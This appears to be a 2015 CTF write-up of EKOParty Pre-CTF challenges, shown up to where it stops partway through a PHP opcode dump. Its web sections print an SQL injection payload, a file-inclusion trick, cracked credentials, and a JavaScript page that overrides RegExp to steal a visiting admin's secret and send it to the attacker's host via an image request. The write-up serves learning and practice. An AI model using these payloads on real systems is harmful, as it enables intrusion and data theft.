EKOParty Pre-CTF 2015 Writeup

  1. Web25
  2. Web50
  3. Web100
  4. Web200
  5. Cry25
  6. Cry50
  7. Rev25
  8. Rev50
  9. Rev200
  10. Pwn25
  11. Pwn50
  12. Misc25
  13. Misc50
  14. Misc100
  15. Incomplete Challenges
  16. Cry100
  17. Cry200
  18. Rev100
  19. Pwn100
  20. Pwn200
  21. Misc200
  22. Conclusions

After seeing that EKOParty were running another Pre-CTF warmup for their conference in October, I decided to register and see how well I could do. Let the fun begin!

The challenges fall under five categories, Web, Crypto, Reversing, Pwning and Misc.

Web25

After visiting the URL, we're presented with a simple form.

After submitting the form with a single quote, we're presented with the following error.

>ERROR: unrecognized token: "'''))))))))))))))))))))"

Looks like we've got an SQLI vulnerability. We close off the quote, and brackets in our payload.

')))))))))))))))))))) or 1=1--

We're then presented with our flag.

EKO{sqli_with_a_lot_of_)}

Web50

We're given another URL. Upon visiting, we're presented with a welcome page for a site called "Hacker's market".

The first thing I notice after looking at the source is a potential LFI vulnerability in the menu links.

http://challs.ctf.site:10000/hackersmarket/index.php?p=pages/home.tpl

After replacing 'pages/home.tpl' with 'index.php', we're presented with the source code for 'index.php'.

<?php
// NULL Code Obfuscator
// www.null-life.com
include 'encoder.php';

error_reporting(0);
$code =
'GmjTplJrnv4Hd9uqLEm22igpg6kuJ9quCATTrlMu1/4SaZauTi7X0TRLp9VUftTTSASOrhZigOtTdfmuUy7TqgNvlOtTM9OpA2+U6wAhm+Eea936A2LUtXlz+YQaaNOmAHqB/hx926oDb5TrXy7UoF0p2q5SM86uFW+f/RYn0/V5LtOuUyqD7xRr07NTKYPvFGuAoRthnutdeoPiVDX583kE1+gaYpauTi7RoFwqg+8Ua9G1eQSa6FMmlecfa6zrC2eA+gAm1+gaYpanWi6IhFMu064WbZvhU2ia4hZRlOsHUZDhHXqW4Ad926xdIdf+EmmWrFo1+fNTa5/9Fi6IhFMu064WbZvhU2ia4hZRlOsHUZDhHXqW4Ad926ldIYPvFGuAoRthnutdeoPiVCfIhA4=';

$base = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
eval(NULLphp\getcode(basename(__FILE__), $base($code)));
?>

The source code is obfuscated. I download the obfuscator source code.

<?php

namespace NULLphp;

$seed = 13;
function rand() {
    global $seed;

    return ($seed = ($seed * 127 + 257) % 256);
}

function srand($init) {
    global $seed;

    $seed = $init;
}

function generateseed($string) {
    $output = 0;

    for ($i = 0; $i < strlen($string); $i++) {
        $output += ord($string[$i]);
    }

    return $output;
}

function getcode($filename, $code) {
    srand(generateseed($filename));

    $result = '';
    for ($i = 0; $i < strlen($code); $i++) {
        $result .= chr(ord($code[$i]) ^ rand());
    }

    return $result;
}

Replacing the 'eval' call with 'echo' we can get the deobfuscated source code.

if (!empty($_GET['p'])) {
    $page = $_GET['p'];
} else {
    $page = 'pages/home.tpl';
}

if (strpos($page, '..') !== false) {
    $page = 'pages/home.tpl';
}

$file = "./$page";

if (file_exists($file)) {
    echo file_get_contents("./$page");
} else {
    echo file_get_contents('./pages/home.tpl');
}

Ok - so it's checking for the characters '..' before including a file, and then setting it to a default if they are found. This limits our ability to traverse directories when including files.

After clicking through the other pages, I start to look at the scripts which some of the forms submit to.

The contact form posts to the script 'contact.php'. This script is obfuscated also - below is the deobfuscated source.

if (!empty($_POST['name']) &amp;&amp; !empty($_POST['email']) &amp;&amp; !empty($_POST['message'])) {
    echo '<div class="alert alert-success" role="alert">Your email was succesfully sent, thanks!</div>';
} else {
    header('Location: index.php');
}

Wow - such customer service. No leads in this script - although I take a note of the email address in the source of the contact page - 'admin@hackermarket.onion'.

Next I move on to the target for the login form - 'login.php'.

Again, this script is obfuscated. The deobfuscated source is below.

if (!empty($_POST['email']) &amp;&amp; !empty($_POST['password'])) {
    $email = $_POST['email'];
    $pass  = $_POST['password'];

    // I can not disclose the real key at this moment
    // $key = 'random_php_obfuscation';
    $key = '';
    if ($email === 'admin@hackermarket.onion' &amp;&amp; $pass === 'admin') {
        echo '<div class="alert alert-success" role="alert"><strong>well done!</strong> EKO{' . $key . '}
'; } else { echo '<div class="alert alert-danger" role="alert"><strong>Oh snap!</strong> Wrong credentials

'; } } else { header('Location: index.php'); }

Great - we've got a login and password - but looking through the rest of the source, we can see our key in the comments.

EKO{random_php_obfuscation}

Web100

The URL given to us appears to be a squid proxy. Setting our local proxy in CURL to this, and then requesting https://127.0.0.1 gives us a result.

curl -x "http://challs.ctf.site:10002/" --insecure https://127.0.0.1/

After using this proxy in a browser and visiting https://127.0.0.1, we're presented with a page - which doesn't do much at all.

There's a robots.txt file, which reveals an admin panel directory.

User-agent: *
Disallow: /4dm1np4n3l

After opening this URL in the browser, we're presented with a login page.

After attempting SQLI and checks for various other vulnerabilities (XMLI), I come up blank.

Using the proxy to check other protocols, I come across an FTP server on port 21. This FTP server allows Anonymous access, and there is a file named 'backups/credentials.db'. This is an SQLite 3 database.

After opening it, we find a table named 'users', with a single entry.

Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open credentials.db
sqlite> .tables
users
sqlite> select * from users
   ...> ;
1|superadmin@intranet.net|31b54c2ac1ccb15b9896966c3fac5c8e

I chuck this hash into Crackstation, but get no matches. After a quick Google, we get a single result on pastebin. This gives us what appears to be the original value.

GpmlzRXj0dAlUYU7vPZB 31b54c2ac1ccb15b9896966c3fac5c8e

Now we can login - and retrieve our flag.

EKO{Squid_is_also_FTP_Proxy}

Web200

We're given a URL which leads to a login form.

SQLI and other checks come up blank on this form - so I register. After registration, we're presented with what appears to be a data sharing site. We can input our own text, which is then Base64 encoded, stored in a Cookie and output in the TEXTAREA via Javascript.

We can't trigger an XSS on this page with our input field (as far as I know..), so let's focus on the other input. If we submit a URL, that URL is then visited by an 'administrator' (a PhantomJS agent). So - now that we can force an visit to the site, and as such can execute Javascript under the context of this user.

I inspect the Javascript file which handles setting the TEXTAREA value ('file.js').

function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for(var i=0; i<ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0)==' ') c = c.substring(1);
        if (c.indexOf(name) == 0) return c.substring(name.length,c.length);
    }
    return "";
}

function setCookie(cname, cvalue, exdays) {
    var d = new Date();
    d.setTime(d.getTime() + (exdays*24*60*60*1000));
    var expires = "expires="+d.toUTCString();
    document.cookie = cname + "=" + cvalue + "; " + expires;
}


function isSubDomain(c) {
    var d = document.domain;
    var r = new RegExp(c+"$").test(d);
    return r;
}

function saveSecret() {
    var s = document.getElementById('secretbox').value;
    setCookie('secret', encrypt(s),3);
}

function decrypt(data) {
    if (data=="") return "";
    return window.atob(data);
}

function encrypt(data) {
    return window.btoa(data);
}

function checkDomain(c) {
    var d = document.domain;
    var r = false;
    if(d == c) {
        r = true;
    } else {
        r = isSubDomain(c);
    }
    return r;
}



if(checkDomain("challs.ctf.site"))  {
    document.getElementById('secretbox').value = decrypt('dGVzdGluZzEyMw==');
} else {
    console.log("error");
}

So, essentially this is checking to see whether or not the domain we're including this script on is 'challs.ctf.site' before it sets the element value - but wait, there's more! There's a fallback to check whether or not we're on a subdomain of 'challs.ctf.site', which uses the RegExp class.

As we can force the user to visit a site of our choosing, we can replace the RegExp class with a class of our own, which will always return 'true' when performing a test. This allows us to completely bypass the domain checking, and retrieve the value of the secret text for the visiting user.

Below is the snippet of JS which I used to achieve this.

<html>
        <head>
                <script type="text/javascript">
                        setTimeout(function(){
                                var input = document.createElement('input');
                                input.setAttribute('id', 'secretbox');
                                document.body.appendChild(input);

                                window.RegExp = function() {
                                        return {
                                                test: function() { return true }
                                        }
                                };
                                var script = document.createElement('script');
                                script.setAttribute('type', 'text/javascript');
                                script.setAttribute('src', 'http://challs.ctf.site:10000/safebox/file.js');
                                document.body.appendChild(script);

                                setTimeout(function() {
                                        var img = document.createElement('img');
                                        img.src = '/eko?' + document.getElementById('secretbox').value;
                                        document.body.appendChild(img);
                                }, 1000);
                        }, 1000);
                </script>
        </head>
        <body></body>
</html>

What this does is first of all create an INPUT field on our page, with the ID of 'secretbox'. It then replaces 'RegExp' in the window scope with our own always-passing version. We then create a new SCRIPT element, pointing to the 'file.js' script on the target (which is actually file.php). We then wait for a bit longer and create a new IMG element, suffixed with the value of our previously created INPUT field, and append it to the page. This results in a second request being sent to the URL '/eko', with a query string which holds our flag.

EKO{client_side_security_for_the_lulz}

Cry25

Here we're given a string, with the hint of 'BASE UNKNOWN'.

IVFU662CIFJUKXZTGJPWG2DBNRWH2===

Looks like it's using A-Z0-9=. Smells like a Base32 encoded string to me.

After decoding it as Base32, we've got our flag.

EKO{BASE_32_chall}

Cry50

We're given an MP3 file, which after listening to sounds like Morse Code.

evidence-8.mp3

After converting it to a WAV file, I pipe it in to morse2ascii. The resulting string still doesn't make much sense.

rxb zbefrpbqrpnrfne

After applying a ROT13 transform to the text, we're presented with our flag (the flag is actually EKO{morsecodecaesar})

eko morsecodecaesar

Rev25

We're given a ZIP file which contains an EXE.

evidence-9.zip

After opening it up in Hopper, we can find a string stating what our flag is. This is referenced in a function (found at address 0x00401c0d) that checks memory against another static set of memory. This static memory equates to our flag.

EKO{this_is_a_gift}

Rev50

Another ZIP - another executable (an ARM executable).

evidence-10.zip

Initially, after attempting to get gdb to work under QEmu, I dug out my old Raspberry Pi and got to work.

After doing a bit of digging in Hopper, I conclude that this binary Base64 decodes a string, and then checks to see that it matches another string in memory. After Base64 encoding the string found in memory that it compares to, and then providing it as the input, I notice that it has decoded to a different value.

After inspecting the 'Base64decode' function in GDB, it appears that the ASCII lookup table differs from the lookup table defined in the original source.

I extract the modified lookup table, and construct a small binary that will allow me to encode the data correctly.

/*
 * File: base64.cpp
 * ----------------
 * This file defines a set of functions for encoding and decoding binary data
 * in the base64 format, as declared in base64.h.  See:
 * http://en.wikipedia.org/wiki/Base64
 *
 * @author Marty Stepp, based upon open-source Apache Base64 en/decoder
 * @version 2014/10/08
 * - removed 'using namespace' statement
 * 2014/08/14
 * - Fixed bug with variables declared with deprecated 'register' keyword.
 * @since 2014/08/03
 */
#include <iostream>
#include "base64.h"
#include <cstring>

/* aaaack but it's fast and const should make it shared text page. */
static const unsigned char pr2six[256] = {
    /* ASCII table */
    /*
    We need to change this for the challenge

    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
    52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
    64,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
    15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
    64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64*/

    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
    52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
    64,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
    15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
    64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 39, 38, 41,
    40, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64

};

int Base64decode_len(const char *bufcoded) {
    int nbytesdecoded;
    const unsigned char *bufin;
    int nprbytes;

    bufin = (const unsigned char *) bufcoded;
    while (pr2six[*(bufin++)] <= 63);

    nprbytes = (bufin - (const unsigned char *) bufcoded) - 1;
    nbytesdecoded = ((nprbytes + 3) / 4) * 3;

    return nbytesdecoded + 1;
}

int Base64decode(char *bufplain, const char *bufcoded) {
    int nbytesdecoded;
    const unsigned char *bufin;
    unsigned char *bufout;
    int nprbytes;

    bufin = (const unsigned char *) bufcoded;
    while (pr2six[*(bufin++)] <= 63);
    nprbytes = (bufin - (const unsigned char *) bufcoded) - 1;
    nbytesdecoded = ((nprbytes + 3) / 4) * 3;

    bufout = (unsigned char *) bufplain;
    bufin = (const unsigned char *) bufcoded;

    while (nprbytes > 4) {
        *(bufout++) =
                (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
        *(bufout++) =
                (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
        *(bufout++) =
                (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
        bufin += 4;
        nprbytes -= 4;
    }

    /* Note: (nprbytes == 1) would be an error, so just ingore that case */
    if (nprbytes > 1) {
        *(bufout++) =
                (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
    }
    if (nprbytes > 2) {
        *(bufout++) =
                (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
    }
    if (nprbytes > 3) {
        *(bufout++) =
                (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
    }

    *(bufout++) = '\0';
    nbytesdecoded -= (4 - nprbytes) &amp; 3;
    return nbytesdecoded;
}

static const char basis_64[] =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

int Base64encode_len(int len) {
    return ((len + 2) / 3 * 4) + 1;
}

int Base64encode(char *encoded, const char *string, int len) {
    int i;
    char *p;

    p = encoded;
    for (i = 0; i < len - 2; i += 3) {
        *p++ = basis_64[(string[i] >> 2) &amp; 0x3F];
        *p++ = basis_64[((string[i] &amp; 0x3) << 4) |
                ((int) (string[i + 1] &amp; 0xF0) >> 4)];
        *p++ = basis_64[((string[i + 1] &amp; 0xF) << 2) |
                ((int) (string[i + 2] &amp; 0xC0) >> 6)];
        *p++ = basis_64[string[i + 2] &amp; 0x3F];
    }
    if (i < len) {
        *p++ = basis_64[(string[i] >> 2) &amp; 0x3F];
        if (i == (len - 1)) {
            *p++ = basis_64[((string[i] &amp; 0x3) << 4)];
            *p++ = '=';
        }
        else {
            *p++ = basis_64[((string[i] &amp; 0x3) << 4) |
                    ((int) (string[i + 1] &amp; 0xF0) >> 4)];
            *p++ = basis_64[((string[i + 1] &amp; 0xF) << 2)];
        }
        *p++ = '=';
    }

    *p++ = '\0';
    return p - encoded;
}

namespace Base64 {
std::string encode(const std::string&amp; s) {
    char buf[Base64encode_len(s.length()) + 32];
    Base64encode(buf, s.c_str(), s.length());
    return std::string(buf);
}

std::string decode(const std::string&amp; s) {
    char buf[Base64decode_len(s.c_str())];
    Base64decode(buf, s.c_str());
    return std::string(buf);
}
}

/*
 * File: base64.h
 * --------------
 * This file declares a set of functions for encoding and decoding binary data
 * in the base64 format.  See:
 * http://en.wikipedia.org/wiki/Base64
 *
 * @author Marty Stepp, based upon open-source Apache Base64 en/decoder
 * @version 2014/08/03
 * @since 2014/08/03
 */

#ifndef _base64_h
#define _base64_h


#ifdef __cplusplus
extern "C" {
#endif

int Base64encode_len(int len);
int Base64encode(char* coded_dst, const char* plain_src, int len_plain_src);

int Base64decode_len(const char* coded_src);
int Base64decode(char* plain_dst, const char* coded_src);

#ifdef __cplusplus
}

#include <string>

namespace Base64 {
/*
 * Returns a Base64-encoded equivalent of the given string.
 */
std::string encode(const std::string&amp; s);

/*
 * Decodes the given Base64-encoded string and returns the decoded
 * original contents.
 */
std::string decode(const std::string&amp; s);
}
#endif


#endif

/*
 * File: main.cpp
 */

#include <iostream>
#include "base64.h"

int main()
{
    const std::string toencode = "PASS_QIV1qyLR0iFEQU5KCbgm3Hok5V0VmphnCWseVd2X";
    char base64buf[128];
    std::cout << Base64::encode(toencode);
    return 0;
}

After building and running this, we're presented with our valid 'Base64-esque' value.

g++ base64.cpp main.cpp -o main
11:26 ~/tmp: ./main
UEFTU19RSVYxcXlMUjBpRkVRVTVLQ2JnbTNIb2s1VjBWbXBobkNXc2VWZDJY

After entering this in to the binary, we're presented with our flag.

EKO{4fa8c8eac431266a25f56a297a73c334}

Rev200

For this challenge, we're given a ZIP with a file called 'cache.data' in. The hint given is that this was created using APC 3.1.13 with PHP5.4. At a stretch, I guess that this is an APC binary dump.

evidence-11.zip

Using phpbrew, I install PHP5.4.45 and APC 3.1.13. Apache2 was installed prior to this.

phpbrew install 5.4.45 +apxs2
phpbrew switch 5.4.45
phpbrew ext install apc 3.1.13

I also download the source for Vulcan Logic Dumper, compile and install it. After this is all done, I enable the modules and enable APC on CLI by editing the file '~/.phpbrew/php/php-5.4.45/etc/php.ini'

[APC]
apc.enabled = 1
apc.enable_cli = 1

[vld]
extension=vld.so
vld.active = 1

Using the below snippet, I can now examine the opcodes being executed for the two files cached in 'cache.data'. I got the list of the cached files by dumping out the result of a call to 'apc_cache_info()'.

$fp = fopen("cache.data","rb");
$fsize = filesize("cache.data");
$contents = fread($fp, $fsize-1);
fclose($fp);
apc_bin_load($contents,APC_BIN_VERIFY_MD5 | APC_BIN_VERIFY_CRC32);
require("/var/www/html/login.php");
require(“/var/www/html/index.php”);

We've now got a VLD dump of the opcodes executed.

Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = -2
filename:       /root/tmp.php
function name:  (null)
number of ops:  20
compiled vars:  !0 = $fp, !1 = $fsize, !2 = $contents
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  45     0  E >   SEND_VAL                                                 'cache.data'
         1        SEND_VAL                                                 'rb'
         2        DO_FCALL                                      2  $0      'fopen'
         3        ASSIGN                                                   !0, $0
  46     4        SEND_VAL                                                 'cache.data'
         5        DO_FCALL                                      1  $2      'filesize'
         6        ASSIGN                                                   !1, $2
  47     7        SEND_VAR                                                 !0
         8        SUB                                              ~4      !1, 1
         9        SEND_VAL                                                 ~4
        10        DO_FCALL                                      2  $5      'fread'
        11        ASSIGN                                                   !2, $5
  48    12        SEND_VAR                                                 !0
        13        DO_FCALL                                      1          'fclose'
  49    14        SEND_VAR                                                 !2
        15        BW_OR                                            ~8      1, 2
        16        SEND_VAL                                                 ~8
        17        DO_FCALL                                      2          'apc_bin_load'
  51    18        INCLUDE_OR_EVAL                                          '%2Fvar%2Fwww%2Fhtml%2Findex.php', REQUIRE
  66    19      > RETURN                                                   1

Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = -2
filename:       /var/www/html/index.php
function name:  (null)
number of ops:  2
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  10     0  E >   ECHO                                                     '<html>
    <head></head>
    <body>
        <form method="POST" action="login.php">
            <input type="text" name="token">
            <input type="submit" value="Login">
        </form>
    </body>
</html>
'
         1      > RETURN                                                   1




<form action="login.php" method="POST"><input name="token" type="text" />
<input type="submit" value="Login" /></form>

branch: #  0; line:    45-   66; sop:     0; eop:    19; out1:  -2
path #1: 0,
branch: #  0; line:    10-   10; sop:     0; eop:     1; out1:  -2
path #1: 0,
Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = -2
filename:       /root/tmp.php
function name:  (null)
number of ops:  20
compiled vars:  !0 = $fp, !1 = $fsize, !2 = $contents
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  45     0  E >   SEND_VAL                                                 'cache.data'
         1        SEND_VAL                                                 'rb'
         2        DO_FCALL                                      2  $0      'fopen'
         3        ASSIGN                                                   !0, $0
  46     4        SEND_VAL                                                 'cache.data'
         5        DO_FCALL                                      1  $2      'filesize'
         6        ASSIGN                                                   !1, $2
  47     7        SEND_VAR                                                 !0
         8        SUB                                              ~4      !1, 1
         9        SEND_VAL                                                 ~4
        10        DO_FCALL                                      2  $5      'fread'
        11        ASSIGN                                                   !2, $5
  48    12        SEND_VAR                                                 !0
        13        DO_FCALL                                      1          'fclose'
  49    14        SEND_VAR                                                 !2
        15        BW_OR                                            ~8      1, 2
        16        SEND_VAL                                                 ~8
        17        DO_FCALL                                      2          'apc_bin_load'
  50    18        INCLUDE_OR_EVAL                                          '%2Fvar%2Fwww%2Fhtml%2Flogin.php', REQUIRE
  66    19      > RETURN                                                   1

Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = 5, Position 2 = 55
Branch analysis from position: 5
Jump found. Position 1 = 15, Position 2 = 22
Branch analysis from position: 15
Jump found. Position 1 = 23, Position 2 = 29
Branch analysis from position: 23
Jump found. Position 1 = 30, Position 2 = 54
Branch analysis from position: 30
Jump found. Position 1 = 41, Position 2 = 50
Branch analysis from position: 41
Jump found. Position 1 = 53
Branch analysis from position: 53
Jump found. Position 1 = 54
Branch analysis from position: 54
Jump found. Position 1 = 58
Branch analysis from position: 58
Jump found. Position 1 = -2
Branch analysis from position: 50
Jump found. Position 1 = 54
Branch analysis from position: 54
Branch analysis from position: 54
Branch analysis from position: 29
Branch analysis from position: 22
Branch analysis from position: 55
Jump found. Position 1 = -2
filename:       /var/www/html/login.php
function name:  (null)
number of ops:  59
compiled vars:  !0 = $token, !1 = $crypt, !2 = $hash, !3 = $flag
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   3     0  E >   NOP                                                      
  44     1        FETCH_IS                                         $1      '_POST'
         2        ISSET_ISEMPTY_DIM_OBJ                       16777216  ~2      $1, 'token'
         3        BOOL_NOT                                         ~3      ~2
         4      > JMPZ                                                     ~3, ->55
  45     5    >   FETCH_R                      global              $4      '_POST'
         6        FETCH_DIM_R                                      $5      $4, 'token'
         7        ASSIGN                                                   !0, $5
  47     8        INIT_FCALL_BY_NAME                                       'substr'
         9        SEND_VAR                                                 !0
        10        SEND_VAL                                                 0
        11        SEND_VAL                                                 4
        12        DO_FCALL_BY_NAME                              3  $7      
        13        IS_IDENTICAL                                     ~8      $7, 'CmxQ'
        14      > JMPZ_EX                                          ~8      ~8, ->22
        15    >   INIT_FCALL_BY_NAME                                       'substr'
        16        SEND_VAR                                                 !0
        17        SEND_VAL                                                 44
        18        SEND_VAL                                                 4
        19        DO_FCALL_BY_NAME                              3  $9      
        20        IS_IDENTICAL                                     ~10     $9, 'MgY%2F'
        21        BOOL                                             ~8      ~10
        22    > > JMPZ_EX                                          ~8      ~8, ->29
        23    >   INIT_FCALL_BY_NAME                                       'substr'
        24        SEND_VAR                                                 !0
        25        SEND_VAL                                                 -4
        26        DO_FCALL_BY_NAME                              2  $11     
        27        IS_IDENTICAL                                     ~12     $11, 'Mg%3D%3D'
        28        BOOL                                             ~8      ~12
        29    > > JMPZ                                                     ~8, ->54
  48    30    >   FETCH_CLASS                                   4  :13     'AzDGCrypt'
        31        NEW                                              $14     :13
        32        SEND_VAL                                                 'EKO%7Bthis_is_not_the_flag%7D'
        33        DO_FCALL_BY_NAME                              1          
        34        ASSIGN                                                   !1, $14
  49    35        INIT_METHOD_CALL                                         !1, 'decrypt'
        36        SEND_VAR                                                 !0
        37        DO_FCALL_BY_NAME                              1  $18     
        38        ASSIGN                                                   !2, $18
  51    39        IS_IDENTICAL                                     ~20     !2, 'e88ef51d4112b999380444ce48488762'
        40      > JMPZ                                                     ~20, ->50
  52    41    >   INIT_FCALL_BY_NAME                                       'sha1'
        42        SEND_VAR                                                 !0
        43        DO_FCALL_BY_NAME                              1  $21     
        44        ASSIGN                                                   !3, $21
  53    45        ADD_STRING                                       ~23     'Welcome+master%2C+your+key+is+EKO%7B'
        46        ADD_VAR                                          ~23     ~23, !3
        47        ADD_CHAR                                         ~23     ~23, 125
        48        ECHO                                                     ~23
  54    49      > JMP                                                      ->53
  55    50    >   INIT_FCALL_BY_NAME                                       'header'
        51        SEND_VAL                                                 'Location%3A+index.php'
        52        DO_FCALL_BY_NAME                              1          
  57    53    > > JMP                                                      ->54
  58    54    > > JMP                                                      ->58
  59    55    >   INIT_FCALL_BY_NAME                                       'header'
        56        SEND_VAL                                                 'Location%3A+index.php'
        57        DO_FCALL_BY_NAME                              1          
  61    58    > > RETURN                                                   1

Class AzDGCrypt:
Function azdgcrypt:
Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = -2
filename:       /var/www/html/login.php
function name:  AzDGCrypt
number of ops:  4
compiled vars:  !0 = $m
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   5     0  E >   RECV                                             !0      
   6     1        ASSIGN_OBJ                                               'k'
         2        OP_DATA                                                  !0
   7     3      > RETURN                                                   null

End of function azdgcrypt

Function ed:
Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = 39, Position 2 = 17
Branch analysis from position: 39
Jump found. Position 1 = -2
Branch analysis from position: 17
Jump found. Position 1 = 22, Position 2 = 24
Branch analysis from position: 22
Jump found. Position 1 = 24
Branch analysis from position: 24
Jump found. Position 1 = 14
Branch analysis from position: 14
Jump found. Position 1 = 9
Branch analysis from position: 9
Branch analysis from position: 24
filename:       /var/www/html/login.php
function name:  ed
number of ops:  41
compiled vars:  !0 = $t, !1 = $r, !2 = $c, !3 = $v, !4 = $i
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   8     0  E >   RECV                                             !0      
   9     1        INIT_FCALL_BY_NAME                                       'md5'
         2        FETCH_OBJ_FUNC_ARG                               $0      'k'
         3        SEND_VAR                                                 $0
         4        DO_FCALL_BY_NAME                              1  $1      
         5        ASSIGN                                                   !1, $1
  10     6        ASSIGN                                                   !2, 0
  11     7        ASSIGN                                                   !3, ''
  12     8        ASSIGN                                                   !4, 0
         9    >   INIT_FCALL_BY_NAME                                       'strlen'
        10        SEND_VAR                                                 !0
        11        DO_FCALL_BY_NAME                              1  $6      
        12        IS_SMALLER                                       ~7      !4, $6
        13      > JMPZNZ                                       17          ~7, ->39
        14    >   POST_INC                                         ~8      !4
        15        FREE                                                     ~8
        16      > JMP                                                      ->9
  13    17    >   INIT_FCALL_BY_NAME                                       'strlen'
        18        SEND_VAR                                                 !1
        19        DO_FCALL_BY_NAME                              1  $9      
        20        IS_EQUAL                                         ~10     !2, $9
        21      > JMPZ                                                     ~10, ->24
        22    >   ASSIGN                                                   !2, 0
        23      > JMP                                                      ->24
  14    24    >   INIT_FCALL_BY_NAME                                       'substr'
        25        SEND_VAR                                                 !0
        26        SEND_VAR                                                 !4
        27        SEND_VAL                                                 1
        28        DO_FCALL_BY_NAME                              3  $12     
        29        INIT_FCALL_BY_NAME                                       'substr'
        30        SEND_VAR                                                 !1
        31        SEND_VAR                                                 !2
        32        SEND_VAL                                                 1
        33        DO_FCALL_BY_NAME                              3  $13     
        34        BW_XOR                                           ~14     $12, $13
        35        ASSIGN_CONCAT                                 0          !3, ~14
  15    36        POST_INC                                         ~16     !2
        37        FREE                                                     ~16
  16    38      > JMP                                                      ->14
  17    39    > > RETURN                                                   !3
  18    40*     > RETURN                                                   null

End of function ed

Function crypt:
Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = 55, Position 2 = 27
Branch analysis from position: 55
Jump found. Position 1 = -2
Branch analysis from position: 27
Jump found. Position 1 = 32, Position 2 = 34
Branch analysis from position: 32
Jump found. Position 1 = 34
Branch analysis from position: 34
Jump found. Position 1 = 24
Branch analysis from position: 24
Jump found. Position 1 = 19
Branch analysis from position: 19
Branch analysis from position: 34
filename:       /var/www/html/login.php
function name:  crypt
number of ops:  63
compiled vars:  !0 = $t, !1 = $r, !2 = $c, !3 = $v, !4 = $i
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  19     0  E >   RECV                                             !0      
  20     1        INIT_FCALL_BY_NAME                                       'srand'
         2        INIT_FCALL_BY_NAME                                       'microtime'
         3        DO_FCALL_BY_NAME                              0  $0      
         4        CAST                                             ~1      $0
         5        MUL                                              ~2      ~1, 1000000
         6        SEND_VAL                                                 ~2
         7        DO_FCALL_BY_NAME                              1          
  21     8        INIT_FCALL_BY_NAME                                       'md5'
         9        INIT_FCALL_BY_NAME                                       'rand'
        10        SEND_VAL                                                 0
